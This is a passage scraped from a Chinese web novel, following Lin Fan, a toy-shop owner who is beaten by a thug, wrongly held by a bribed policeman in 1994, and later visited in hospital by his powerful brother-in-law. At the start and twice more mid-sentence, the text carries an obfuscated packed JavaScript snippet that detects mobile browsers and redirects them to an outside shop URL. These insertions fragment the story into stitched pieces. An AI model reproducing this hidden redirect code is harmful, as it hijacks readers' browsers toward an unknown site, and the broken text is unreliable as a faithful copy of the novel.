l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752548|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火, “他在XX县被人打了,还被派出所冤枉抓了起来。 背后应该是当地的矿主沾光列在搞鬼,这明显是冲着我们苏家来的。” 苏瑾国的语气瞬间变得严肃起来: “沾光列? 我好像听过这个名字,据说他在当地的关系网很复杂。 你先别冲动,我马上让人联系XX市的****,让他亲自督办这件事。 同时,我会让省纪委的人介入,查一查那个派出所和沾光列有没有利益勾结。” “谢谢二哥。” 苏瑾瑜的声音稍微缓和了一些, “我已经让李厅派人去查了,我担心他们会动手脚,所以需要你的人从上面压下去。” “放心,这事我会处理好。” 苏瑾国顿了顿,又补充道, “你也别太着急,林凡不会有事的。沾光列这次敢动我们苏家的人,我会让他付出代价。” 挂了电话,苏瑾瑜走到落地窗前,看着窗外的夜景。 燕京的灯光依旧璀璨,可他的心里却一片冰冷。 他知道,这场风波远没有结束。 沾光列敢这么明目张胆地挑衅,背后肯定还有更大的靠山。 而他要做的,不仅仅是救出林凡, 还要彻底掀翻那个小县城里固化的黑暗秩序,让那些仗势欺人的人付出应有的代价。 XX县的矿上办公室里,沾光列正坐在真皮沙发上,手里端着一杯茅台,悠哉悠哉地喝着。 他身材肥胖,脸上堆满了肉,笑起来眼睛都眯成了一条缝,可眼神里却透着一股狠辣。 “老板,派出所那边来电话了,说林凡嘴硬得很,死活不承认聚众斗殴和欠钱的事。” 一个穿着黑色西装的手下站在旁边,低着头汇报。 沾光列放下酒杯,拿起桌上的雪茄,手下立刻上前给他点燃。 烟雾缭绕中,他的笑容变得更加得意: “嘴硬?没关系,给他点颜色看看,我就不信他能撑多久。 那个派出所的张所长,你给了他多少好处?” “按您的吩咐,给了他五万块现金,还有一箱茅台。” 手下连忙回答, “张所长说了,一定会把这事办得妥妥当当,保证让林凡认罪。” “嗯,做得好。” 沾光列吸了一口雪茄,吐出烟圈, “不过,你还是得盯着点。 那个林凡,毕竟和苏家沾点关系,虽然只是个外姓女婿,但保不齐苏家会出面。” “老板,您放心,苏家那么大的家族,怎么会在乎一个外姓女婿? 再说了,这是咱们的地盘,就算苏家想管,也伸不过来手啊。” 手下满不在乎地说。 沾光列摇了摇头,眼神里多了一丝警惕: “话不能这么说。苏家在燕京的影响力不小,万一他们真的出面,事情就麻烦了。 你去查一查,看看苏家那边有没有什么动静。 如果有,立刻告诉我。” “好的,老板,我马上就去查。” 手下转身离开了办公室。 沾光列重新端起酒杯,心里却不像表面那么平静。 他这次抓林凡,确实是为了试探苏家的态度。 如果苏家不管,那他以后在XX县就更没人敢惹了; 可如果苏家出面,他就得想办法应对。 不过,他觉得苏家出面的可能性不大—— 一个外姓女婿,还在这么偏远的县城,苏家犯不着为了他动用资源。 可**的是,此刻,一场足以掀翻他整个势力的风暴,已经在千里之外悄然形成。 省厅刑侦支队的队长赵刚,接到李厅长的命令后,立刻带着五名队员,开着警车往XX县赶。 他们没有通知县局,也没有通知当地派出所,就是为了防止走漏消息,让对方有机会动手脚。 “赵队,这个林凡到底是什么人啊? 能让李厅长亲自督办,还让燕京的苏**也关注?” 副队长王涛一边开车,一边好奇地问。 赵刚靠在椅背上,眼神严肃: “具体是什么人我不知道,但能让苏家的人这么重视,肯定不简单。 咱们这次去,一定要查清真相,不能出任何差错。 那个XX派出所,还有沾光列,都得好好查一查。 我听说沾光列的矿上问题不少,这次正好借机把他的底给掀了。” 王涛点了点头: “放心吧赵队,咱们一定不会让你失望。” 与此同时,XX市****也接到了苏瑾国的电话。 他不敢怠慢,立刻召开紧急会议, 安排市**局和市纪委的人,连夜赶往XX县,协助省厅的人调查。 一场围绕着林凡的调查风暴,正在以惊人的速度向XX县逼近。 而审讯室里的林凡,对此还一无所知。 审讯室里的强光依旧刺眼,林凡的眼睛已经开始发酸,可他还是挺直了后背,不肯有丝毫妥协。 对面的警察已经问了他快两个小时,翻来覆去都是那几个问题,而他的回答也始终如一。 “林凡,我最后问你一次,你到底认不认罪?” 警察的语气里满是不耐烦,甚至带着一丝威胁, “你要是再不认罪,我们就只能把你关起来,等你想通了再说。” 林凡抬起头,直视着对面的黑影,声音沙哑却坚定: “我没做过的事,就算关我一辈子,我也不会认。 你们要是有证据,就拿出来;要是没有,就放我走。” “你……” 警察气得想拍桌子,可就在这时,外面突然传来了急促的脚步声,还有人在大声说话。 警察皱了皱眉,起身走出了审讯室。 林凡靠在椅背上,心里升起一丝疑惑—— 外面发生什么事了? 是有什么变故吗? 他竖起耳朵,想听听外面的声音,可只能听到模糊的对话声,根本听不清具体内容。 过了大概十分钟,审讯室的门被推开了。 这次进来的不是之前的那两个警察, 而是一个大腹便便便装的男人,男人身后跟着两个穿着警服的人,看起来身份不低。 “你是林凡?” 便装男人走到林凡面前,语气平和,没有丝毫敌意。 林凡点了点头,警惕地看着他: “我是,你是谁?” “老实交代你的问题” 第104章 审讯室的灼光 1994年冬月的北风裹着煤渣子,像撒野的顽童撞在县城派出所的铁皮门上,“哐当”一声震得门轴吱呀作响。 彼时的县城还没通暖气,街道上的自行车比汽车多,灰蓝色中山装是成年人的主流穿着,唯有孩子们身上能看见点鲜亮颜色—— 可这份鲜活,此刻全被审讯室的压抑吞了个干净。 四壁斑驳的石灰簌簌掉渣,墙面上“坦白从宽,抗拒从严”的红漆标语褪得发淡,边角卷着翘,像被岁月啃过的旧纸片。 天花板中央悬着唯一盏40瓦白炽灯,钨丝“滋滋”的声响在空荡房间里格外刺耳,仿佛下一秒就要炸开。昏黄光线裹着闷热砸下来,竟真如烧红的烙铁般烫在林凡头顶,连空气都变得厚重粘稠。 林凡陷在缺角的木椅里,椅面粗糙的木纹顺着单裤硌进大腿肉里,那裤子是前些年妻子用旧布改的,裤脚卷了两圈才勉强盖住脚踝—— 他的脚比去年又大了些,那双过冬的棉鞋挤得脚趾发僵。 手腕上的铁**早磨红了皮肤,渗血的地方沾了审讯室地上的煤灰,黑红交织成刺目的色块,稍一挣动就扯得皮肉钻心疼。 后脑勺的肿块比清晨又大了一圈,钝痛一阵紧过一阵,像有把生锈的锥子在颅腔里慢慢拧,恶心感顺着喉咙往上涌。 他攥着裤缝的指节泛得发白,指腹的老茧蹭着布料—— 那是常年开玩具店打包、整理积木磨出来的厚茧,此刻却连攥紧布料的力气都快撑不住,全靠一股子气才没栽倒在满是烟头的水泥地上。 地上的烟蒂堆在墙角,除了“大前门”,还混着几支“哈德门”的滤嘴,沾着煤灰和唾沫,散发出劣质烟草的酸腐味。 空气里飘着劣质煤烟和“大前门”烟草的混合气味,呛得人嗓子发紧,林凡忍不住咳嗽了两声,胸口牵扯着昨天被踹的疼。 对面两张掉漆的木桌后,两个警察的脸隐在光暗交界处—— 那个大腹便便的中年男人走了,现在是老周在审问。 年长的周建军是所里的老资格,****磨得发毛,左脸一道浅疤从眉骨延伸到颧骨,那是他二十岁刚当**时抓小偷被划的,当年还拿过县局的“先进个人”,如今却只剩眼底的油滑。 他手里攥着个搪瓷杯,杯身印着褪色的“为人民服务”,杯沿磕了个豁口,里面泡的廉价花茶浮着半截茶梗,茶水浑浊得像沟里的水。 他指尖有节奏地敲着笔录本硬壳,那本子封面卷边,里面夹着张儿子的学生证—— 照片上的少年穿着蓝白校服,笑得一脸干净。 周建军的声音拖得像老钟摆: “林凡,你老实说,是不是你先骂的黑皮?” 抬眼时,眼角皱纹里积的不耐烦几乎要溢出来, “人家在县城混了十年,街面上谁不给他三分面子? 卖文具的张姐去年没顺他意,进货价直接涨了三成,最后不也关店了?怎么偏偏找你麻烦?” 年轻的赵磊刚从省警校分配来半年,警服袖口还没磨出毛边,领口的风纪扣系得严严实实,钱包里还别着警校的三等功徽章—— 那是他靠徒手制服模拟歹徒拿的,当时教官拍着他的肩说“要守好初心”。 可此刻他刻意学着老**的腔调,“啪”地把英雄牌钢笔摔在桌上,那钢笔是毕业时班主任送的,笔帽上还刻着他的名字,这会儿弹起来撞在铁盒上,发出清脆的响声。 “还有你说的报警回执,拿出来啊!1994年了,谁还凭嘴说事儿? 所里规定清清楚楚,没回执就是没报警,你这是编瞎话糊弄我们!” 他说话时喉结上下滚动,眼神却不自觉瞟向周建军,像个等着老师表扬的学生—— 上个月所里评先进,周建军私下拉着他蹲在派出所后巷,递了支“红塔山”说“多学着点人情世故,比死抠规定有用”,这话他记在笔记本第一页,至今没敢忘。 林凡的额角渗着冷汗,顺着鬓角滑进衣领,在洗得发白的棉布褂子里晕开一小片湿痕。 那褂子的袖口缝着块同色补丁,是5年前母亲补的,针脚细密得很。 他盯着笔录本上“林凡涉嫌挑衅滋事”那行黑字,眼前的字迹慢慢发虚,可脑子却异常清醒得可怕; 黑皮是县城有名的混混,靠家里在**局派出所的关系,垄断了半条街的小商品货源。 邻市的批发市场本该是商户们的进货地,可黑皮派了两个小弟守在路口,凡是向阳街的商户,都得从他手里拿货,价格比市价高两成,谁不服就找理由闹—— 卖菜的刘婶上个月没交“保护费”,摊子被掀了,一筐鸡蛋全碎在地上,黄澄澄的蛋液流了一路,刘婶坐在路边哭,没人敢上前帮衬。 上周黑皮带着两个小弟来他的“笑笑宝贝屋”玩具店,抽着烟把脚翘在货架上,货架上的芭比娃娃被震得晃了晃。 他说要“合伙经营”,其实就是想把进货渠道抢过去,林凡没答应—— 这店是他攒了三年钱开的,全靠这店养着女儿笑笑。 第二天一早,店门口就被泼了半桶红漆,暗红漆料顺着卷闸门流下来,溅在门口摆的奥特曼玩具上,像淌着血。 他蹲在门口擦了一早上,指甲缝里全是红漆,怎么都洗不掉。 更过分的是,黑皮还堵在向阳街小学门口,等放学的笑笑出来。 他蹲在地上捏着笑笑的羊角辫,手里晃着根棒棒糖说 “你爸爸不乖,我要把他抓走”, 吓得笑笑抱着他的腿哭了一整晚,夜里还做噩梦喊“爸爸别被抓走”。 他攥着被红漆染脏的奥特曼玩具去派出所备案,周建军坐在办公桌后嚼着口香糖,桌面摊着张泛黄的报纸,只抬眼扫了他一下,就让他填了张皱巴巴的登记表。 “知道了,会调查。” 周建军说着,随手把登记表塞进抽屉,转身就去了后巷—— 下午王猛去买酱油时,看见黑皮在巷口跟周建军递烟,黑皮手里拿着条“阿诗玛”,周建军推了两下就收下了,两人凑在一起说了半天,黑皮还拍了拍周建军的肩膀,笑得一脸得意。 王猛赶紧跑回店里跟林凡说,林凡心里咯噔一下,却还抱着点希望—— 他想着警察总能帮老百姓说话。 今天就被黑皮带着三个混混堵在东风巷里。 东风巷窄得很,两边是砖墙,连个躲的地方都没有。 “是黑皮先堵的我。” 林凡的声音哑得像被砂纸磨过,每说一个字,喉咙都扯得生疼——昨天被黑皮的小弟踹在喉咙上,现在咽口水都像吞玻璃渣。 “我店里的王猛能作证,他当时在店里整理货架,听见外面动静不对,拿着拖把跑出来拦,被他们推搡到墙上,胳膊擦破了一大块皮,现在还贴着创可贴; 街口修鞋的李师傅也看见了,他的修鞋摊就在巷口,摆了快二十年了,县城里一半人都找他修过鞋—— 去年张大爷丢了钱包,里面有五百块养老钱,还是李师傅捡到了,在摊上等了三个小时才等到张大爷。 巷子里的动静他都能看清,他当时手里拿着修鞋的锥子,想冲过来拦,被黑皮的小弟挡住了,还喊了句‘别**’,黑皮他们没理。” 他顿了顿,想抬胳膊指自己的外套,那外套是前年买的,里面的棉絮都有点结块了。 “备案回执在我外套内袋里,你们可以……” 话没说完,手腕上的**链“哗啦”响了一声—— 链长只有半尺,刚一用力,后脑勺的剧痛突然炸开! 像是有根引线在颅腔里点燃,疼得他眼前发黑, 周建军和赵磊的脸瞬间变成两个、三个虚影, 耳边的声音像隔着一层浑浊的水,“嗡嗡”地听不真切。 胃里翻江倒海,酸水顺着喉咙往上涌,他忍不住干呕一声, 涎水顺着嘴角往下流,滴在满是划痕的水泥地上,晕开一小片水渍。 “少装蒜!” 赵磊“啪”地一拍桌子,周建军杯里的花茶溅出来,在笔录本上洇出一圈黄印,像块难看的疤。 “想靠装病蒙混过关? 我告诉你,你今天不认错,就别想走出这个门!” 他说这话时,声音比刚才高了八度,可指尖却在不自觉地摩挲钢笔—— 他其实看见林凡头上的血痂了,那血痂结得厚厚的,沾着点煤灰,一看就不是轻伤; 刚才在巷口,他还听见两个路过的大妈说“是混混先动手打那个开玩具店的”, 可周建军早上跟他说“黑皮的事不能管, 他表哥跟所长熟,不然以后你转正都难”,他刚毕业,还没拿到正式编制,不敢得罪老**。 周建军没说话,只是端起搪瓷杯喝了口茶,茶水有点凉,涩得他皱了皱眉。 他眼神扫过林凡渗血的后脑勺,又快速移开,像怕被烫到。 他心里比谁都清楚,林凡没说谎—— 黑皮这半年来在向阳街收保护费,商户们敢怒不敢言, 除了刘婶和张姐,卖水果的老陈上个月因为进货没通过黑皮,一筐橘子全被泼了农药,只能看着橘子烂在摊子上。 黑皮每个月十五号都会来派出所后巷给他送烟,有时候是“红塔山”, 有时候是“阿诗玛”,逢年过节还会带瓶散装的“高粱白”—— 他在派出所干了十五年,还是个普通**,每个月工资只有三百多块, 家里儿子要上高中,学费得五百多,妻子又有风湿,常年要吃药,这点“好处”他舍不得推。 上次儿子问他 “爸爸,你怎么不跟王叔叔一样当所长呀”,他只能摸了摸儿子的头,说“爸爸没本事”。 林凡张了张嘴,想再说点什么,可喉咙里像堵了块棉花,发不出任何声音。 视线急速变暗,像有人猛地拉上了黑布,眼前的白炽灯变成一个模糊的光斑,最后映入眼帘的,是周建军骤然变了的脸色—— 先是惊疑,接着是慌乱, 最后藏不住的紧张爬满了额头,连手里的搪瓷杯都晃了晃,茶水又溅出来几滴。 下一瞬,他的身体不受控制地从椅子上滑下去,“咚”的一声重重砸在水泥地上, 后脑勺磕在桌腿上,疼得他眼前一黑,意识像被洪水卷走,彻底沉入黑暗。 “哎!他怎么真晕了?” 赵磊的声音瞬间发颤,他赶紧站起来, 椅子腿在地上刮出刺耳的声响,伸手探了探林凡的鼻息,手指都在抖—— 他在警校学过急救,知道头部受伤昏迷的人最怕颅内出血, 上次模拟急救时,教官说“这种情况必须马上送医院,晚了会出人命”。 “周哥,他头上有血,别是出人命了吧?” 他说话时,眼睛盯着林凡后脑勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757349|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断渗出来的血,那血顺着水泥地的缝隙流, 像条红色的小蛇,他的腿都软了,刚才的嚣张劲儿全没了,手心全是汗。 周建军也慌了,他赶紧蹲下来,膝盖撞在地上都没觉得疼,伸手去翻林凡的外套—— 他得找到那张备案回执,如果回执真的在, 就证明林凡确实报过警,他之前说“没报警”就是撒谎,要是林凡真出事,这就是他的把柄。 林凡的外套内袋缝得很牢,他手指在粗糙的布料里摸索, 终于摸到一张皱巴巴的纸片,抽出来一看, 上面“1994年12月5日14时备案”的字迹用蓝黑墨水写的,清晰可见, 下面还有他当时随手签的“周”字—— 那字写得潦草,是他当时嚼着口香糖签的,没多想。 纸片边缘有点破,还带着林凡的体温,潮乎乎的,显然是被贴身放了很久。 他心里“咯噔”一下,凉了半截—— 昨天林凡来备案时,他随手签了字就把回执塞给林凡了, 忘了跟黑皮说,现在回执在,就等于他的谎言被戳穿了。 他赶紧摸出腰间的摩托罗拉传呼机,那是所里配的,整个派出所只有五台, 他的传呼机号码还是儿子帮他记的。 手指都在抖,按县医院的号码时,按错了两次才按对: “快!叫救护车!就说派出所审讯室有人晕倒,头上有伤,很严重!” 传呼机的蜂鸣声在空荡的审讯室里回荡,像一道催命符,撞得他耳膜发疼,连耳朵都开始发烫。 赵磊蹲在旁边,看着周建军慌乱的样子,突然想起上周跟警校同学打电话, 同学说他们所里有个老**, 因为偏袒赌场老板,帮着老板打压举报的商户,最后商户被打成重伤,躺在医院没醒。 那**不仅被开除了公职,还被判了两年刑,家里的孩子没人管,只能寄住在亲戚家。 “周哥,要是……要是林凡真出事,我们会不会……” 他咽了口唾沫,声音小得像蚊子叫,心里又怕又悔—— 他想起教官说的“初心”,觉得自己现在像个笑话。 “别乌鸦嘴!” 周建军打断他,可声音里的慌乱藏不住,尾音都在发颤, “他就是晕过去了,医院来了就能救过来,没事的。” 话虽这么说,他却忍不住想起刚才林凡说的证人—— 王猛和李师傅。 王猛是林凡店里的伙计,家在乡下,母亲有哮喘,林凡不仅给他开比其他店高五十块的工资,还经常帮他带药; 李师傅在县城口碑极好,上次派出所找证人核实情况,李师傅说的话句句属实,连细节都没差。 要是这两个人来作证,加上那张备案回执,他不仅乌纱帽保不住,还得坐牢。 他站起身,走到审讯室门口,掀开窗帘的一角往外看,只见派出所门口的大杨树下,有个穿着蓝色工装的身影在徘徊—— 是王猛,他手里还拿着个拖把,应该是从店里直接过来的; 还有个戴着旧棉帽的老人,缩着脖子,手里拎着个修鞋的工具箱,是李师傅。 两人时不时往审讯室这边望,脚步往前挪了挪,又停下来,显然是不敢过来。 周建军心里更慌了,他赶紧放下窗帘,转身对赵磊说: “你在这看着他,别让他醒了跑了,我去跟王所长说一声,别让外面的人进来。” 他刚走到门口,传呼机突然响了,是县医院回的消息: “救护车十分钟到,让家属在门口等。” 他愣了一下—— 林凡的家属?他没通知林凡的家人,刚才只顾着慌,忘了这回事。 林凡的妻子不在,女儿也不在,家里也没有其他人了。 周建军的心又提了起来—— 李师傅要进来作证? 要是李师傅进来,把黑皮**的事一五一十说出来,加上那张备案回执,他就彻底完了。 他走到窗边,又掀开窗帘一角,看见王猛左右转圈,李师傅站在旁边,眉头皱得紧紧的,时不时往派出所里望。 救护车的声音从远处传来,越来越近,“呜哇——呜哇——”的警笛声像把锤子,一下下砸在周建军的心上。 他的手心全是汗,连传呼机都快攥不住了。 他看着地上昏迷的林凡,林凡的脸苍白得像纸,后脑勺的血还在流; 看着手里的备案回执,上面的“周”字刺眼得很。 他突然不知道该怎么办——是继续隐瞒,跟王所长说林凡“故意装病”,把事情压下去? 还是说出真相,承认自己偏袒黑皮,没调查就铐人? 要是隐瞒,万一林凡醒不过来,他这辈子都得活在愧疚里, 要是说出真相,他的工作没了,家里的儿子学费怎么办?妻子的药钱怎么办? 就在救护车停在派出所门口的那一刻, 审讯室里的白炽灯突然“滋啦”一声,钨丝烧断了,整个审讯室瞬间陷入黑暗。 只有传呼机的屏幕还亮着,淡蓝色的光映着周建军慌乱的脸,他手里的备案回执在黑暗中泛着白。 地上林凡后脑勺不断渗出来的血,在微光下显得格外刺眼,像一朵开在黑暗里的恶花。 周建军靠在墙上,滑坐在地上,传呼机从手里滑出去,屏幕的光照着他的脸,分不清是汗还是泪。 第105章 病房里的意外身影 林凡再次有知觉时,鼻腔里最先被灌满的不是派出所审讯室那股混杂着煤烟、汗臭与劣质烟草的刺鼻味道,而是县医院特有的消毒水味—— 清冽得像刚化开的雪水,却又带着几分冰冷的秩序感,顺着呼吸钻进喉咙,激得他下意识咳嗽了两声。 这一咳,额头的伤口立刻传来尖锐的痛感,像有根细针在太阳穴里来回扎。 他费力地睁开眼皮,睫毛上仿佛粘了层浓稠的胶水,每动一下都要扯着眼皮发酸,眼前的光斑晃得他眯起眼,好一会儿才勉强聚成形状。 映入眼帘的是县医院老旧的天花板,墙皮已经有些发黄,角落还挂着几缕蛛网。 身下的病床铺着浆洗得发硬的白色被单,布料粗糙地磨着胳膊,左手腕被胶带固定着输液针,透明的药液顺着塑料管一滴滴往下落, “嘀嗒、嘀嗒”的声音在安静的病房里格外清晰,每一滴都像敲在他的心上。 他试着动了动手指,指尖传来麻木的触感,后脑勺的昏沉感更是沉重得像压了块铅,稍一偏头就天旋地转。 这时他才发现,额头的伤口已经被重新包扎过,浅灰色的纱布软软地贴在皮肤上,边缘还能摸到残留的药膏凉意, 疼痛感比在派出所时轻了不少,可身体里那股被殴打后的酸痛感,却顺着骨头缝里往外冒。 窗外的天色早已黑透,铅灰色的云层压得极低,像是随时会砸下来,偶尔能听到风吹过窗户缝隙的“呜呜”声,带着隆冬的寒气。 病房里只开了一盏床头灯,暖黄色的光晕裹着空气,勉强冲淡了几分医院的冰冷。 可当林凡的目光扫到病床旁的椅子上坐着的人时,整个人瞬间僵住—— 那人穿着深灰色羊毛衫,外面套着一件剪裁合体的黑色大衣,袖口挽到小臂,露出腕上那块泛着冷光的瑞士梅花表,表盘上的罗马数字在灯光下格外清晰。 不是搭档王猛那件洗得发白的军绿色外套,也不是隔壁杂货店张婶常穿的碎花棉袄,而是笑笑的小舅,苏瑾瑜! 1994年的县城里,能穿得起纯羊毛衫、戴瑞士名表的人屈指可数,更别说苏瑾瑜身上那股浑然天成的气场—— 那是常年站在商界顶层、见惯了大场面才有的沉稳,与县医院的简陋环境格格不入,像一幅精致的油画被错贴在了泛黄的纸上。 林凡看着他对着大哥大低声说话,那是台摩托罗拉8900,砖头似的机身在当时要卖一万多块,整个县城都没几台。 苏瑾瑜的语速快而果断,语气里带着不容置疑的威严: “脑震荡确诊了,刘主任已经跟我的私人医生对接过,至少要静养一周,期间绝对不能受刺激,你们盯着点,别让无关人等靠近病房。” 他顿了顿,手指无意识地摩挲着大哥大的天线,继续说道: “王猛和李师傅的证词,让赵律师现在就去录,别等明天天亮。 李师傅是菜市场的老商户,在县里人脉广,他的证词分量重,录的时候要全程录音,每一个细节都不能漏。 还有巷口的供销社,他们上个月刚装了台防盗监控,是县**局统一调配的,1994年整个县城就那三台监控,供销社这台正好对着林凡被打的巷子口。 你现在就去跟供销社的王主任说,把12月7日下午3点到5点的录像带调出来,哪怕漏一帧都不行。 要是他敢推三阻四,就把军部的介绍信给他看,我倒要看看他敢不给。” 挂电话时,苏瑾瑜习惯性地拍了拍大哥大的机身—— 这是那时候用大哥大的人常有的动作,生怕信号断了。 他抬头的瞬间,正好对上林凡清醒的视线, 原本紧蹙的眉头稍稍舒展,眼中的冷意像被温水化开般褪去几分,起身快步走过来时,脚步放得极轻,生怕惊扰到林凡。 “醒了?” 他的声音比刚才打电话时柔和了许多,伸手探了探林凡的额头,掌心的温度透过纱布传过来,带着恰到好处的暖意, “感觉怎么样?头晕不晕?想不想吐?” 说着,他伸手按了按床头的呼叫铃,那是个拉线式的旧铃铛,拉一下就发出“叮铃”的脆响。 指尖碰到林凡手背时,他特意顿了顿,像在确认他的体温,又像是怕碰疼了他: “我让他们炖了小米粥,用保温桶装着,等会儿护士会送过来,你现在胃里空着,先喝点垫垫。” “瑾……瑾瑜,你怎么来了?” 林凡的声音沙哑得像生锈的木头在摩擦,每说一个字都觉得喉咙疼。 他想撑起身子,可刚一用力,后脑勺的昏沉感就瞬间加剧,眼前发黑,还没坐起来就被苏瑾瑜按住了肩膀。 羊毛衫的触感柔软得像云朵,可掌心的力量却不容反驳,稳稳地将他按回床上: “别动,躺着。刘主任说了,你现在要绝对卧床,脑震荡最怕乱动,万一加重了病情,晚晴要是知道了,又该担心了。” 提到苏晚晴,林凡的眼神暗了暗。 他看着苏瑾瑜风尘仆仆的样子,眼底有淡淡的青黑,显然是没休息好,黑色大衣的领口还沾着些未融化的雪粒子,肩膀上甚至能看到一点泥点—— 1994年从燕京到这个县城,根本没有直达飞机,得先坐波音737飞到市里的机场,再转乘长途汽车。 正常情况下,长途汽车要走三个小时,可昨天燕京下了场大雪,路面结了冰,司机得一边挂着防滑链一边慢慢开,车程至少要翻倍。 苏瑾瑜这一路赶来,恐怕连口气都没歇过。 一股强烈的愧疚涌上心头,林凡垂下眼,不敢再看苏瑾瑜的眼睛: “对不起,又给你添麻烦了……我不该跟黑皮起冲突的。” 黑皮是县城里的地头蛇,平时靠着敲诈勒索商户过活,昨天下午林凡在巷口看到他欺负卖菜的李师傅,忍不住上前拦了几句, 没成想黑皮仗着人多,直接动手打了他,还反咬一口,让派出所的周建军以“寻衅滋事”的名义把他抓了进去。 “说什么傻话!” 苏瑾瑜打断他,眉头又皱了起来,指节在床沿轻轻敲了两下—— 林凡知道,这是苏瑾瑜动怒时的习惯动作,以前在燕京见过几次,每次他这样,就意味着有人要倒霉了, “是我们没考虑周全。 前天你从燕京回县城的时候, 我就该让底下人给县里的派出所打个招呼,让他们多照看你几分, 可我想着你只是回来帮王猛处理点事,应该不会有麻烦,没想到这些地头蛇敢这么无法无天。” 他顿了顿,眼中闪过一丝寒光,语气也冷了下来: “更没想到,下面的某些人,拿了黑皮的好处,就敢颠倒黑白,把国法当儿戏! 周建军收了黑皮两条烟, 就敢把你关在审讯室里不问青红皂白地训话,甚至看着黑皮的人动手**都不管, 这种人,根本不配穿那身警服!” 就在这时,病房门被推开,一个穿着白大褂的中年男人走了进来,手里拿着个牛皮纸做的病历夹,胸前的工作牌上写着“刘建国脑科主任”。 刘主任是县医院最好的脑科医生,昨天苏瑾瑜刚到县城,就立刻让自己的私人医生—— 燕京协和医院的张教授,给刘主任打了电话, 把林凡的情况详细说了一遍,还特意叮嘱要好好照看。 刘主任走到病床边, 先看了眼输液管的滴速,又拿出手电筒,轻轻掀开林凡的眼皮照了照瞳孔,动作很轻柔: “瞳孔反应正常, 血压也稳定了,脑震荡确诊没错,但万幸的是颅内没有出血,算是不幸中的万幸。” 他一边说着,一边从口袋里掏出钢笔,在病历本上写着什么, “接下来必须静养,不能激动,也不能下床走动,饮食要清淡,多喝温水。 要是再出现呕吐、头晕或者伤口渗血的情况,立刻按呼叫铃,别耽误。” 说完,他又叮嘱了苏瑾瑜几句注意事项,才拿着病历夹离开。 病房里重新安静下来,只有输液管“嘀嗒”的声音。 苏瑾瑜拉过椅子,在病床边坐下,身体微微前倾,语气比刚才缓和了些,慢慢把事情的来龙去脉告诉林凡: 苏瑾瑜的手指轻轻敲了敲床沿,继续说道,“王猛到了派出所门口,找周建军打听你的情况,周建军却说‘没见过林凡这个人’,还说他‘妨碍公务’,把他赶了出去。 王猛没办法,只能在派出所门口转圈,一直等到傍晚六点多,天快黑了,才想起去找张婶。” 张婶是林凡家隔壁杂货店的老板,人很热心,平时林凡和晚晴忙的时候,都是张婶帮忙照看笑笑。 这次林凡回来的时候,特意把苏瑾瑜办公室的电话留给了张婶,说万一有急事,就让她直接打这个电话。 “张婶听说你不见了,还可能被抓进了派出所,也急坏了,赶紧拉着王猛回家里,用她家那台老旧的拨号电话给我打。” 苏瑾瑜的声音沉了些,带着几分后怕,“那台电话是1988年装的,线路早就老化了,王猛说他们打了三次才打通,第一次没通,第二次打通了没人接,第三次我才接到。” 林凡能想象出当时王猛和张婶有多着急,1994年的县城里,大部分人家还没有电话,张婶家那台拨号电话,还是托了关系才装的,打长途电话要先拨区号,还经常占线,能打通已经很不容易了。 “我接到电话的时候,正在公司开董事会,讨论明年苏家集团在华北地区的投资计划。” 苏瑾瑜回忆道,语气里带着几分无奈, “王猛在电话里哭得都说不出完整的话,断断续续地说‘凡哥被黑皮打了,还被派出所抓了, 额头全是血’, 张婶在旁边补充,说‘我看到黑皮那伙人扛着他往派出所去,样子特别凶’。 我当时一听就炸了,董事会都没开完,就让助理暂停会议,赶紧去订最早的机票。” 苏家集团是燕京有名的大企业,1994年的时候,资产已经过亿,苏瑾瑜作为董事长,每天的行程都排得满满的, 董事会更是重要的会议,可他却因为自己,把这么重要的会议搁置了,还连夜赶过来,林凡的愧疚感更重了。 “我一边让助理订机票,一边给省厅的李厅长打电话。” 苏瑾瑜提到李厅长时,语气里多了几分敬重,“李厅长是咱爸的老部下,1970年代的时候,他们在**一起待过,还一起执行过边境巡逻任务,关系特别铁。 李厅长一听你被人打了,还被派出所冤枉,当即就说‘我亲自督办,保证半小时内让他们放人’。” 1994年的时候,省厅厅长的权力很大,尤其是李厅长这种在军部待过、又在政法系统任职多年的人,说话分量极重。 苏瑾瑜说,李厅长挂了电话后,立刻给县**局的张局长打了电话,把周建军的所作所为说了一遍, 还让张局长立刻去派出所核实情况,要是真像王猛说的那样,就立刻把林凡放了,还得把周建军停职调查。 “我挂了李厅长的电话后,又让助理联系了赵律师—— 就是我们苏家集团的法律顾问,专门处理**的,还有我的私人医生张教授,让他们立刻收拾东西,跟我一起去县城。” 苏瑾瑜说道, “我们赶到燕京机场的时候,已经是晚上七点多了,飞机八点半起飞,到市里机场的时候是十点多,然后坐长途汽车往县城赶。 昨天雪下得大,路面结冰,长途汽车开得特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757350|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别慢,司机每隔半小时就要停下来检查防滑链,原本三个小时的路程,我们走了快六个小时,到县城的时候,已经是今天凌晨三点多了。” 林凡听得心里一阵发酸,从燕京到县城,整整八个多小时的路程,苏瑾瑜连口热饭都没来得及吃,就马不停蹄地赶过来,只为了他这个“外人”—— 虽然他是苏晚晴的丈夫, 